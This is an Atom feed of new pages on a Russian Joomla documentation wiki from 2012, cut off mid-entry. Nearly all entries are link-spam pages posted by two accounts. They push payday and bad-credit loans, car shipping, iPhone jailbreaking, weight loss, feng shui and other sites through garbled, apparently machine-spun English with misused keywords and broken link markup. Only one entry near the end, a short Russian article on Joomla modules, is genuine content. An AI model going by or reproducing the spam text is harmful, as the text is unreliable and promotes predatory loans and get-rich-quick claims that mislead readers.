 <?xml version="1.0"?>
<?xml-stylesheet type="text/css" href="http://www.joomla-docs.ru/skins/common/feed.css?303"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
		<id>http://www.joomla-docs.ru/index.php?title=%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:NewPages&amp;feed=atom</id>
		<title>База знаний Joomla - Новые страницы [ru]</title>
		<link rel="self" type="application/atom+xml" href="http://www.joomla-docs.ru/index.php?title=%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:NewPages&amp;feed=atom"/>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:NewPages"/>
		<updated>2012-05-18T03:40:26Z</updated>
		<subtitle>Материал из База знаний Joomla</subtitle>
		<generator>MediaWiki 1.18.3</generator>

	<entry>
		<id>http://www.joomla-docs.ru/How_to_ship_a_car_2730</id>
		<title>How to ship a car 2730</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/How_to_ship_a_car_2730"/>
				<updated>2012-05-13T14:51:45Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «Among the benefits of international [http://vipautoshipping.com/How-To-Ship-A-Car how to ship a car] is the possibilities and options you can choose. We have a nu…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Among the benefits of international [http://vipautoshipping.com/How-To-Ship-A-Car how to ship a car] is the possibilities and options you can choose. We have a number of choices available to us when we must ship a car. When shipping a vehicle it needs a car buyer to decide on what type of delivery vehicle may be used. It could either be a closed shipping service using a container or an open shipping service. The closed program is the most chosen by many of the car buyers due to the lesser tendency of dents and scratches however it is pricey compared to the latter. With the employed of an open [http://vipautoshipping.com/How-To-Ship-A-Car how to ship a car] support, numerous amount of vehicle can be packed while closed delivery service isnt effective at holding more than the usual handful of cars. Choosing the alternative of shipping your car if youre in the company of buy and sell, its a great chance for you and your business. With the global [http://vipautoshipping.com/How-To-Ship-A-Car ship car cross country] service its possible to send the vehicle to your customer wherever theyre and youve the opportunity that the business will succeed as well as in other country. In international car shipping, they make sure that all cars must be in good working order before they can be loaded for transportation. If your car isnt in good condition, it will remain on the loading docks until it is working and youll be charged for storage for that amount of time.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Early_payday_4919</id>
		<title>Early payday 4919</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Early_payday_4919"/>
				<updated>2012-05-10T23:30:40Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «Do you think that you can [http://www.paydaymoney.com/fast-cash/ early payday] very fast? I hope that you believe that earning money very quickly is not a pie in …»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Do you think that you can [http://www.paydaymoney.com/fast-cash/ early payday] very fast? I hope that you believe that earning money very quickly is not a pie in the sky dream. Many people will have you believe that you can do it again and again, when you understand the following ways and its impossible to do so but I am here to let you know that you could make money fast. These same steps have made me lots of money again and again. The foremost and first action to make [http://www.paydaymoney.com/fast-cash/ payday soon] is to interact with the needs of people. Research that need to allow you to uncover the degree of that demand. That need be willing to become the answer when you see. Its not necessary that youve a great big idea. Lots of the richest people began with the smallest and easiest ideas. When people want a solution to an issue theyre determined and focused to get the easiest approach to fixing the problem. They will eagerly pay you because of it if you have the treatment for the problem. If you desire to make [http://www.paydaymoney.com/fast-cash/ money before payday] you are not likely to wish to spend lots of money first off. That will totally defeat the reason for acquiring money. The secret then is to find a solution where there is little over noticed and a small set up. You intend to start small and produce a large income. Given that you have the functional aspect to making quick money you need to combine it with powerful component. This compound is so powerful that millionaires swear because of it. People who use it to enhance their business income swear by its wonderful and marvelous power to help them produce considerable amounts of money super fast. I will say though decades of experience that it performs again and again. That next step is to change your mindset about money. You should change your physical and inner reality in order to suck money closer quickly.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Best_Bad_Credit_Loans_1959</id>
		<title>Best Bad Credit Loans 1959</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Best_Bad_Credit_Loans_1959"/>
				<updated>2012-05-07T18:55:02Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «Truth be told there are two forms of personal loans. One is known as an attached [http://www.bestratedbadcreditloans.com/ Top Rated Bad Credit Loan]. This can be …»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Truth be told there are two forms of personal loans. One is known as an attached [http://www.bestratedbadcreditloans.com/ Top Rated Bad Credit Loan]. This can be a unsecured loan which is confirmed through something of worth, being a home and even a car. In spite of a negative credit rating it is simple to obtain a mortgage if youve something to put up as security. With no collateral and also having low credit score this can be a much more difficult procedure to get an unsecured [http://www.bestratedbadcreditloans.com/ Top Rated Bad Credit Loan], nonetheless it is possible. Because of the current economic state a growing number of loan providers are offering what are usually referred to as bad credit financial loans. Such unsecured bank loans are intended for those who have no collateral to set up and have a bad credit rating. Such personal loans may be used for settling debts, investing in home building, spending health costs, covering car maintenance, or just getting up financially. Lacking some security to put up against your mortgage and along with poor credit it is extremely likely you will probably need to be charged an increased rate of interest and also might easily not meet the requirements at all. In this instance a [http://www.bestratedbadcreditloans.com/ Bad Credit Loans] might turn out to be the only solution. That however may have an extremely high rate of interest however no collateral is required.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Baltimore_divorce_attorney_4837</id>
		<title>Baltimore divorce attorney 4837</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Baltimore_divorce_attorney_4837"/>
				<updated>2012-05-03T15:04:48Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «Do you realize that if either you or all of your family members experience an accidental injury, youre entitled to get payment from your medical insurer? This art…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Do you realize that if either you or all of your family members experience an accidental injury, youre entitled to get payment from your medical insurer? This article is addressed to the residents of Baltimore, who would prefer to know the methods and benefits of hiring an individual [http://baltimoremdattorney.com Baltimore DUI] in Baltimore. Usually folks are ignorant about the insurance covers they are eligible for in case of an injury. Insurance providers usually attempt to get away with providing a minimum payment for the accident. However, you might find yourself paying for your medical expenses than whats paid by your insurer. This is actually the time you need to approach a private [http://baltimoremdattorney.com Baltimore attorney]. Baltimore regulations also entitle individuals to sue the companies or agencies responsible for the damage and may ask for payment. Thus, it is possible to note that based on Maryland laws, youre entitled to get payment from both your medical insurer and the culprit organization. However, do you have any idea regarding the methods for filing a case from the culprit or the right process of claiming the payment you deserve? If not, then it is easier to hire a personal [http://baltimoremdattorney.com Baltimore DUI] and allow him/her symbolize you at the court of law.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Cash_advance_payday_loan_2753</id>
		<title>Cash advance payday loan 2753</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Cash_advance_payday_loan_2753"/>
				<updated>2012-05-02T18:33:13Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «Traditionally, [http://www.cashadvance.ca/payday-loan/ cash advance payday loan] were only designed for people who had steady jobs, as one of the most important r…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Traditionally, [http://www.cashadvance.ca/payday-loan/ cash advance payday loan] were only designed for people who had steady jobs, as one of the most important requirements in getting approved for a [http://www.cashadvance.ca/payday-loan/ cash advance paydays] is a continuous revenue stream. Although in recent years, lenders have now extended cash advances to people who dont meet the requirement of having a steady source of income that the loan could be repaid. It is because there are now some lenders who offer money advances to unemployed people. However, even though the [http://www.cashadvance.ca/payday-loan/ cash advance payday loan] that people get is somewhat similar to the cash advances that are distributed around unemployed people, you will find very marked differences, which may have become the reasons why lenders offer these loans in the first place. The reason for the differences in the rates and the mortgage amounts is that because lenders consider unemployed people a higher risk. However, it is because of the high prices and the low loan amounts which have made such mortgage products very popular among creditors, as they can prove to be more successful than regular cash advance loans they give employed people. Given this, unemployed individuals who are thinking of getting such mortgage should make sure that they have carefully considered the pros and cons in obtaining a cash advance loan.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Jailbreak_ios_5.1_3230</id>
		<title>Jailbreak ios 5.1 3230</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Jailbreak_ios_5.1_3230"/>
				<updated>2012-04-30T17:40:41Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «[http://www.prweb.com/releases/2012/4/prweb9444715.htm jailbreak iphone 4s] also allows for more modification. On the lock screen it is possible to put all the in…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://www.prweb.com/releases/2012/4/prweb9444715.htm jailbreak iphone 4s] also allows for more modification. On the lock screen it is possible to put all the information youd prefer to see without slipping to open your phone. This could include if you have any new messages, the calls you might have missed, or the current weather at your location. The header is also customizable with a jailbroken phone providing you options on what your iPhone 4 should be personalized. Finally, all of the apps that Apple deems unacceptable because of their App Store can be found with [http://www.prweb.com/releases/2012/4/prweb9444715.htm jailbreak ios 5.1]. There is no limit to what is available and exactly what do be made on a jailbroken phone. So, there are numerous reasons why a person should think about jailbreaking their phone. Of course any changes made to an iPhone 4 will void the warranty but if that is OKAY with you, or you are a product specialist and got your iPhone 4 at no cost anyway, then give [http://www.prweb.com/releases/2012/4/prweb9444715.htm iphone 4s jailbreak] a try. Itll open up the iPhone 4 to all new programs and opportunities which are not offered to the common iPhone person.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Iphone_4s_case_2903</id>
		<title>Iphone 4s case 2903</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Iphone_4s_case_2903"/>
				<updated>2012-04-30T16:28:48Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «First, weve the leather cases. These [http://www.iphone4scases4u.com	iphone cases] would be the most luxurious-looking kind of all. Its very trendy, too. These ma…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;First, weve the leather cases. These [http://www.iphone4scases4u.com	iphone cases] would be the most luxurious-looking kind of all. Its very trendy, too. These may be high priced unlike the other styles of [http://www.iphone4scases4u.com	iphone 4 case], however, you get what you pay for since it is really durable than the others. Nevertheless, these cases are large. Youd not need to carry something that requires too much space of your bag, could you? If you are one reckless cellphone user, better use the steel cases. Since steel cases are difficult, these can protect your iPhone 4s screen from getting damaged by other components. Not only does it protect the display, it protects your whole iPhone 4 as well. However, like the leather cases, metal cases are heavy, too. Also, they are heavy. Why is it not the same as leather cases is that metal cases are cheaper. Plastic cases may interest you as well. With plastic [http://www.iphone4scases4u.com	iphone 4s case], you are able to choose your favorite color for the phone. These cases come in different designs as well. It protects your entire iPhone, thats, the body and the screen. Unlike the other two mentioned above, plastic cases have become gentle.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Service_engine_soon_light_4844</id>
		<title>Service engine soon light 4844</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Service_engine_soon_light_4844"/>
				<updated>2012-04-27T18:17:34Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «In late model cars, the engines light behaves differently with respect to the severity of the problem. If your [http://www.talktomymechanic.com/check-engine-light…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In late model cars, the engines light behaves differently with respect to the severity of the problem. If your [http://www.talktomymechanic.com/check-engine-light/ check engine light] begins blinking or turns red, the issue is so critical that immediate attention is required. A constant engines light indicates that a low emergency exists and must be checked out as soon as possible. Anything you do, dont take your vehicle to an auto parts store when the [http://www.talktomymechanic.com/check-engine-light/ service engine soon] goes on. Automobile parts employees are qualified only to read the trouble codes, never to diagnose and repair. Search for a certified technician if support is required by you done right. Minor issues like a free gas cap, poor spark plug wires or moisture in the engine can induce a check engine light. If a non emergency is indicated by your light, first [http://www.talktomymechanic.com/check-engine-light/ service engine soon light] your gas cap and then your engine for water before taking your car in for repairs. Motors will misfire if spark plug wires wear down provide them with a look as well. A simple wire replacement may be required only by You to make things right again. When you first go in to the store, your certified repair technician may perform a check examination for stored trouble codes and test your devices and components to eliminate possible sources of the problem. In many cases, diagnosis and repair may occur within the same day.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Disc_makers_in_the_usa_2132</id>
		<title>Disc makers in the usa 2132</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Disc_makers_in_the_usa_2132"/>
				<updated>2012-04-27T16:30:02Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «[http://pinterest.com/pin/99923685452516525/ Disc Copying] is the process in which small amounts of DVDs are made. DVD media is loaded onto burners. The informati…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://pinterest.com/pin/99923685452516525/ Disc Copying] is the process in which small amounts of DVDs are made. DVD media is loaded onto burners. The information is taken through digital means from the master source which are then utilized in a blank disk. The data is then confirmed and the disk either accepts or rejects the copied version. With the introduction and popular usage of cheaper media, its now possible to offer the same degree of DVD replication services to both clients who need small quantities or for people who opt for larger amounts. [http://pinterest.com/pin/264445809339932879/ Disc Copying] has both quality and cost advantages. Employing a DVD duplicator is which can be convenient, cheap, and and fast approach to get goods to its intended market. If your business involves producing music and video products, you need to reach your intended market quickly and efficiently. Its wise then to buy a [http://pinterest.com/pin/99923685452516525/  Disc makers in the usa] device. On the other hand, reproduction is the standard used when making more and more ripped disks. A glass master of the information stored on the disk is created that, in turn, produces stampers.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Feng_shui_singapore_1733</id>
		<title>Feng shui singapore 1733</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Feng_shui_singapore_1733"/>
				<updated>2012-04-27T14:38:53Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «The [http://www.destinyasia.com.sg qi men dun jia] have presented you with the technical know-how for evaluating your home. Employing the [http://www.destinyasia.…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The [http://www.destinyasia.com.sg qi men dun jia] have presented you with the technical know-how for evaluating your home. Employing the [http://www.destinyasia.com.sg singapore feng shui] cures in your home has a profound influence on your life. Based on the old knowledge and practices, Feng Shui is a spiritual way of life that helps you to imbibe the positive forces of the universe. All of the spiritual principles of the Feng Shui likewise have a strong scientific basis underlying it. When you begin searching spaces in your home youd not be in a position to determine what changes to make, or there might be several parts that you might wish to change particularly if you live in a larger house. However when you let Feng Shui in the home it just lets you know where to start, additionally, it tells you the importance of doing so. Bringing [http://www.destinyasia.com.sg feng shui consultation] in the house style is just not about producing physical changes, its about giving importance to each and every thing in your house so that its good influence (or positive Chi as it is named in Feng Shui) that particular room, your home and off course your life.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Quick_cash_laon_4260</id>
		<title>Quick cash laon 4260</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Quick_cash_laon_4260"/>
				<updated>2012-04-26T19:01:28Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «If you try through the online services getting a http://www.fastcashloansonline.com/quick/ quick cash loans online] quickly will be rather easy. The online servic…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;If you try through the online services getting a http://www.fastcashloansonline.com/quick/ quick cash loans online] quickly will be rather easy. The online services can be good in helping the customers easily since the on the web methods use to be quick. Theres no ground for a process to take more hours then whats important. So, youll not have to wait much and even its assured that you will be able to obtain the http://www.fastcashloansonline.com/quick/ quick cash laons] amount within 24 hours if you approach the http://www.fastcashloansonline.com/quick/ fast cash loans online]. As these loans may be online the field of options will be wider for you. Youll get a bevy of lenders that will be prepared to give you money anytime you need. There use to be cut throat competition on the list of creditors and therefore, theyd not like to reduce you. So, it is possible to enjoy that chance and choose a profitable deal. The only thing that youll need to do to apply for the loan is to publish a free and simple on the web form and refill. These loans offer a excellent amount which varies from $100 to $1500 and the period for returning the borrowed sum is 2 to 4 weeks. There are provisions for the consumers to alter the payment date with their payday. After you do so, the due amount will be quickly used in the lender from your banking account.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/How_to_loss_weight_fast_1135</id>
		<title>How to loss weight fast 1135</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/How_to_loss_weight_fast_1135"/>
				<updated>2012-04-25T08:52:38Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «[http://123howtoloseweightfast.blogspot.com/ how to lose weight] and youll not regret that you finally find the time for you to seek what you truly need. The need…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://123howtoloseweightfast.blogspot.com/ how to lose weight] and youll not regret that you finally find the time for you to seek what you truly need. The need to lose weight fast is a vital priority we must consider in life. Its understandable that we have many points in life. Weve our work where we need to exert our best effort constantly. We must do this, to get the much desired promotion you badly needed. You realize that this is the best way for you personally so that you can help the financial obligations of your family to do. Perhaps you have large school expenses and monthly housing payment you need to pay. There are actually various reasons that in a way you lose tabs on your weight. You simply find yourself being over weight. It is important to slim down rapidly to finally achieve all your wishes. You need to understand that it is possible to achieve more success if youre healthier. How can you do this? [http://123howtoloseweightfast.blogspot.com/ how to lose weight fast] by finding the best health plan that may fit your personality. There are numerous health services offered for you personally to lose weight fast. Some provide alternative drugs, or even a diet that is full of fruits and vegetables. Additional options [http://123howtoloseweightfast.blogspot.com/ how to loss weight fast] is to find time and energy to exercise instead of watching shows on the television or playing computer games. You can choose swimming, biking, walking, jogging or dancing together with your friends at home.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Astraweb_review_1963</id>
		<title>Astraweb review 1963</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Astraweb_review_1963"/>
				<updated>2012-04-24T19:36:02Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «Like many companies, [http://usenetreviews.info/astraweb astraweb 11] offers a long storage time on articles. This means that, if you are involved with a heated d…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Like many companies, [http://usenetreviews.info/astraweb astraweb 11] offers a long storage time on articles. This means that, if you are involved with a heated debate on some of the thousands of Usenet news groups, if you are gone for some days youll not lose out on any chances to engage the conversation. Storage time is among the most essential functions on a newsgroup precisely because it addresses one of the most valuable options that come with these companies. The information from [http://usenetreviews.info/astraweb astraweb special offer] is what drives this service and maintaining that information offered to users is a strong feature. Usenet services also survive based on speed. This protocol has become one of the hottest for changing large files, including video, music and photographs. Due to this, Usenet machines which have low rates are somewhat just like a sports vehicle without tires. The high rate, nevertheless, is only useful if you are allowed a lot of download bandwidth. The Usenet companies out there oftentimes offer different strategies for several types of consumers. [http://usenetreviews.info/astraweb astraweb deal] has these measures available. Consumers might choose from packages which are speed-limited-ideal for casual users-or limitless, high-speed downloads, ideal for those who acquire daily.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Web_design_singapore_2338</id>
		<title>Web design singapore 2338</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Web_design_singapore_2338"/>
				<updated>2012-04-23T18:10:13Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «[http://www.milandesign.sg seo] is the process of improving the size or quality of traffic to a website from search engines via organic search results. Before you…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://www.milandesign.sg seo] is the process of improving the size or quality of traffic to a website from search engines via organic search results. Before you apply SEO, you must make sure that the website is search engine friendly. As a manager of the site, you must ensure that it has sufficient information for people to study and spiders to crawl. The target of your site is to make an effort to offer them to your readers and provide details about your goods and services. The information must be engaging and useful in the first place. Many [http://www.milandesign.sg web design] specialists and copywriters produce content only for search engine spiders to study. You should not do this. Even though it is crucial that you include essential keywords and key phrases inside your content, you ought not overdo it. When you overdo it, search engines will believe you are spamming them and you can ignore getting high rankings on their organic search results listing. The first paragraph of your information is vitally important. On the Internet, folks have very little attention span. If you cannot catch their attention within the first 3 to 8 seconds, they are going to leave your site for your opponents. So first impression is critical and you ought to focus on your headline, sub headline and the first sentence of every page page is why. And important keywords should be put by you in the headline and first sentence of the content to report more search engine relevancy points. Odds are, your website will look and feel better after [http://www.milandesign.sg web design]. These people are appropriately trained to handle the job.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Recruitment_agency_4560</id>
		<title>Recruitment agency 4560</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Recruitment_agency_4560"/>
				<updated>2012-04-23T12:18:47Z</updated>
		
		<summary type="html">&lt;p&gt;Gogol151: Новая страница: «By the name itself it claim that, temporary [http://www.capitagrp.com Recruitment agency] is nothing but to meet short-term requirements of employing agencies. It…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;By the name itself it claim that, temporary [http://www.capitagrp.com Recruitment agency] is nothing but to meet short-term requirements of employing agencies. It can help business organizations fill in for positions made vacant by their absent workers or helps in appending the present staff throughout times of heavy work pressure. Additionally, it allows organizations to reach their working problems with minimum utilization of human resource expenses and avoiding long recruiting and review procedures. The enormous cost benefits involved in temporary staffing helps it be an attractive alternative to permanent work. Long-term [http://www.capitagrp.com Staffing services] covers leading employees in long-term appointment, where theres no particular amount of time involved. Long-term staffing services need is commonly seen in the professional and technical fields, where candidates are required according to a project-to-project. It makes more sense and more profit to their people are employed by companies who on a task basis than on a permanent basis. This kind of staffing service is a mixture of both temporary staffing and permanent employment. The temporary-to-permanent [http://www.capitagrp.com Workforce solutions] allows a client company to take an employee on a temporary basis for intent behind examination and if the employee meet their satisfactory requirements, the organization might then take the worker onto their payrolls. Temporary-to-Permanent employment program also helps the company to severely judge the potentialities and managerial skills of the worker in matter and provides company a safe substitute to permanent hiring.&lt;/div&gt;</summary>
		<author><name>Gogol151</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Affiliate_marketing_3627</id>
		<title>Affiliate marketing 3627</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Affiliate_marketing_3627"/>
				<updated>2012-04-22T18:21:35Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «Everything you need to know about [http://secretsto-ezsixfigures-a-month.com/ making money online] is already prepared and its somewhere on the net. A step by ste…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Everything you need to know about [http://secretsto-ezsixfigures-a-month.com/ making money online] is already prepared and its somewhere on the net. A step by step system to making money online is things you need to make the most of the power of the internet. Yes, there are a few tricks and short-cuts you may make on the way, but earning money online is quite the opposite of getting rich quick. The secret to making money online is knowing where to begin. Its difficult, but [http://secretsto-ezsixfigures-a-month.com/ affiliate marketing] is very possible, and successful, if you follow good advice and good models. You can make a nice a income, some of you are able to probably become very rich. Presently web sites have grown to be the greatest and most popular way to obtain extra money. Little income streams may summarize to a good amount of cash. Its a smart way to develop [http://secretsto-ezsixfigures-a-month.com/ extra income]. I soon found it absolutely was not just a way to earn money online but to create residual income. Eventually, I did actually learn a validated and legitimate solution to properly generate extra income and especially, residual income. One way to earn money from the web is to make your personal blog an income-generating website. Not only will youve a good income right now, but in the future youll have more and more money in your bank-account.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Orlando_web_design_2980</id>
		<title>Orlando web design 2980</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Orlando_web_design_2980"/>
				<updated>2012-04-20T13:23:39Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «[http://www.designzillas.com/ orlando web design]»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://www.designzillas.com/ orlando web design]&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Vision_direct_coupon_codes_3497</id>
		<title>Vision direct coupon codes 3497</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Vision_direct_coupon_codes_3497"/>
				<updated>2012-04-19T21:47:37Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «The days of wandering around in the potent open market to get the points, strolling in the air-conditioned dinner mall to read the new birth or walking through th…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The days of wandering around in the potent open market to get the points, strolling in the air-conditioned dinner mall to read the new birth or walking through the night market and crowded bazaars to pick the inexpensive offers are gone. With the arrival of the web, things are on display in the websites and it may be selected through online shoppings. Online shopping has more and more benefits connected with it and you can take advantage of it. You will find a lot of freebies and special discount online coupons provided on each offers made, this makes it quiet useful on a large. Regardless of what sort of overall economy the earth is facing. The present business community has turned much modern. These worldwide [http://www.jolcdi.com/2012/04/01/cheap-contacts-with-vision-direct-coupon-code/ Vision direct coupon codes] codes really help a lot in promoting goods and services to increase greater sales and making consciousness. Therefore do all the required purchase of products and services through online. Make an effort to view lots of websites and find the best one which offers the right type of goods and services. While doing the transactions take much care in every package.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Black_mold_symptoms_361</id>
		<title>Black mold symptoms 361</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Black_mold_symptoms_361"/>
				<updated>2012-04-19T21:02:41Z</updated>
		
		<summary type="html">&lt;p&gt;Aciclo21: Новая страница: «After you identify and fix the way to obtain water, youll be able to move ahead towards the actual [http://www.black-moldremoval.com black mold] itself. You could…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;After you identify and fix the way to obtain water, youll be able to move ahead towards the actual [http://www.black-moldremoval.com black mold] itself. You could wish to have any children or family members leave the property for a while when you take on the challenge. Prior to you start, make certain that your windows are open and your property is ventilated. Also, turn off emitters and the air conditioning too. You do not need to have those people form spores being distributed into other areas to cause chaos where there doesnt have to be chaos. Your [http://www.black-moldremoval.com black mold] task must be included to only the affected rooms and not be discovered through the residence. After you are prepared to begin your black form removal, youll find some things to keep in mind. If the mold is dry, allow it to be damp. Not soaking moist, but mist it so that you can take care of the spores contained. The time the mist is provided, its possible to continue the [http://www.black-moldremoval.com black mold removal] with soap and water. Make use of a cloth that you simply dont mind throwing away after you are done.&lt;/div&gt;</summary>
		<author><name>Aciclo21</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C</id>
		<title>Модуль</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C"/>
				<updated>2009-05-01T17:49:32Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Модули Joomla - это легковесные и гибкие расширения, используемые при генерации страницы. Иногда модули связаны с компонентами, например модуль «Последние новости», который связан с компонентом материалов (com_content) и отображает ссылки на последние добавленные статьи. Эти модули, как правило, отображаются в виде прямоугольных блоков, расположенных вокруг компонента на странице, как, к примеру, модуль «Вход на сайт». Модули присваиваются пунктам меню, так что можно выбирать, на страницах каких компонентов (пунктов меню) отображать или наоборот скрывать те или иные модули. Впрочем, модули не обязательно должны быть связаны с компонентами или элементами меню, они могут быть простыми фрагментами HTML или простого текста.&lt;br /&gt;
&lt;br /&gt;
Управление модулями производится из панели администрирования, пункт меню «Расширения / Менеджер модулей».&lt;br /&gt;
&lt;br /&gt;
== Позиции модулей ==&lt;br /&gt;
&lt;br /&gt;
Модули могут быть добавлены в позиции, определённые в шаблоне оформления. При необходимости, можно посмотреть, какие позиции доступны на сайте в текущем шаблоне, добавив в адресную строку параметр &amp;lt;code&amp;gt;tp=1&amp;lt;/code&amp;gt; на странице сайта. Например, так: http://joom.ru/?tp=1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== См. также ==&lt;br /&gt;
* [[Модули]]&lt;br /&gt;
* [[Модули в шаблоне]]&lt;br /&gt;
* [[Компоненты модули мамботы в чем разница]]&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* [http://docs.joomla.org/Module Module — Joomla! Documentation]&lt;/div&gt;</summary>
		<author><name>Sli</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2_Joomla_1.5</id>
		<title>Установочный файл компонента в Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%B0_%D0%B2_Joomla_1.5"/>
